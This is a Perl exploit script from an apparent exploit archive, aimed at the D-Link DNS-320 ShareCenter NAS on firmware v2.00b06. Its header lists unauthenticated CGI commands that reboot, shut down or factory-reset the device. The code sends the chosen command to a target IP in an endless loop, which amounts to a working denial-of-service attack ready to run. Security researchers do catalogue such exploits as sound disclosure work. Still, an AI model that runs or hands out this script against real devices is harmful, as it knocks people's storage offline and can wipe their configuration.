#!/usr/bin/perl
#
#  Title:  ShareCenter D-Link DNS-320 remote reboot/shutdown/reset (DoS).
#  Type:   Hardware
#  Remote: yes
#  Author: rigan - imrigan [sobachka] gmail.com
#
#  Tested on:
#  Firmware    : DNS320-v2.00b06
#
#  Security flaws:
#  dsk_mgr.cgi allows execute reboot via POST request with parameter cmd=FMT_restart.
#  system_mgr.cgi allows execute reboot via POST request with parameter cmd=cgi_restart or cmd=cgi_reboot.
#  system_mgr.cgi allows execte shutdown via POST request with parameter cmd=cgi_shutdown.
#  wizard_mgr.cgi allows to reset the firmware to default settings via POST request with parameter cmd=cgi_wizard.

use LWP::UserAgent;

print "[*] ShareCenter D-Link DNS-320 Remote Dos Exploit\n";

if (@ARGV != 3){ &usage; }

while (@ARGV > 0){
   $ip = shift(@ARGV);
   $port = shift(@ARGV);
   $mode = shift(@ARGV);
}

@cgi = ("dsk_mgr.cgi", "system_mgr.cgi", "wizard_mgr.cgi", "system_mgr.cgi");
@cmd = ("cmd=FMT_restart", "cmd=cgi_restart", "cmd=cgi_wizard", "cmd=cgi_shutdown");

$url = "http://".$ip.":".$port."/cgi-bin/".$cgi[$mode];

print "[*] DoS.............................................  \n";
while(1){
   my $ua = new LWP::UserAgent;
   my $req = HTTP::Request->new(POST=>$url);
   $req->content_type('application/x-www-form-urlencoded');
   $req->content($cmd[$mode]);
   my $res = $ua->request($req);
}

sub usage(){
   print "Usage: perl dlink.pl [target ip] [port] [0,1,2,3]  \n";
   print "=================================================  \n";
   print "0 - dsk_mgr.cgi cmd=FMT_restart [Reboot]           \n";
   print "1 - system_mgr.cgi cmd=cgi_restart [Reboot]        \n";
   print "2 - wizard_mgr.cgi cmd=cgi_wizard [Reset]          \n";
   print "3 - system_mgr.cgi cmd=shutdown [Shutdown]         \n";
   exit;
}